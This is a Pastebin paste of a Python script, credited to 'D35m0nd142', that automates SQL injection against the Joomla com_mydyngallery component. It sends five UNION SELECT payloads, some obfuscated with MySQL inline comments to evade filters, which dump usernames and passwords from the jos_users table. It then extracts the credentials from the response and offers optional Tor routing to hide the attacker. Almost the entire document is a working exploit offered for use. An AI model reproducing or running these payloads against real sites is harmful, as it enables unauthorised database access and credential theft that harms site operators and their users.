3xploit3r

com_mydyngallery upload exploit

Aug 1st, 2016
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.83 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys
  3. import time
  4. import socks
  5. import socket
  6. import requests
  7.  
  8. success = False
  9. notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
  10. target = ""
  11. i = 0
  12.  
  13. def chk_success():
  14. global i
  15. if(success):
  16. print "[+] Exploit succedeed!"
  17. sys.exit(0)
  18. i += 1
  19.  
  20. def exploit(path,query):
  21. global i
  22. global success
  23. global target
  24.  
  25. try:
  26. url = "%s%s" %(target,path)
  27. print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
  28. r = requests.get(url, headers=headers, timeout=20)
  29. if(r.status_code == 200 and r.url == url):
  30. url = "%s%s%s" %(target,path,query)
  31. r = requests.get(url, headers=headers, timeout=20)
  32. if("::::" in r.text):
  33. s = r.text
  34. for x in range(0,len(s)-4):
  35. if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
  36. if(success is False):
  37. success = True
  38. user = ""
  39. passwd = ""
  40. k = x-1
  41. while(k >= 0 and s[k] not in notvalid):
  42. user += s[k]
  43. k -= 1
  44. user = user[::-1]
  45. k = x+4
  46. while(k < len(s) and s[k] not in notvalid):
  47. passwd += s[k]
  48. k += 1
  49. x = k
  50. if(len(user) > 0 or len(passwd) > 0):
  51. print "-------------------------------------------------------------------------------------"
  52. print "[+] Username: %s" %user
  53. print "[+] Password: %s" %passwd
  54. print "-------------------------------------------------------------------------------------\n"
  55. except:
  56. print "[-] %i-way exploit not applicable." %i
  57.  
  58. # Uncomment if you want to run the exploit through TOR
  59. #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
  60. #socket.socket = socks.socksocket
  61.  
  62. print "\n/*================================================================*\\"
  63. print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |"
  64. print "| Author: D35m0nd142 |"
  65. print "\*================================================================*/\n"
  66.  
  67. target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")
  68. if("http" not in target):
  69. target = "http://%s" %target
  70. if(target[-1:] == '/'):
  71. target = target[:-1]
  72.  
  73. headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
  74. i = 1
  75.  
  76. path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
  77. queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
  78. "' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
  79. "'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
  80. "'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
  81. "'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]
  82.  
  83. for query in queries:
  84. if(i < 5):
  85. exploit(path[0],query)
  86. else:
  87. exploit(path[1],query)
  88. chk_success()
  89.  
  90. print "[-] Exploit not succedeed."
Add Comment
Please, Sign In to add comment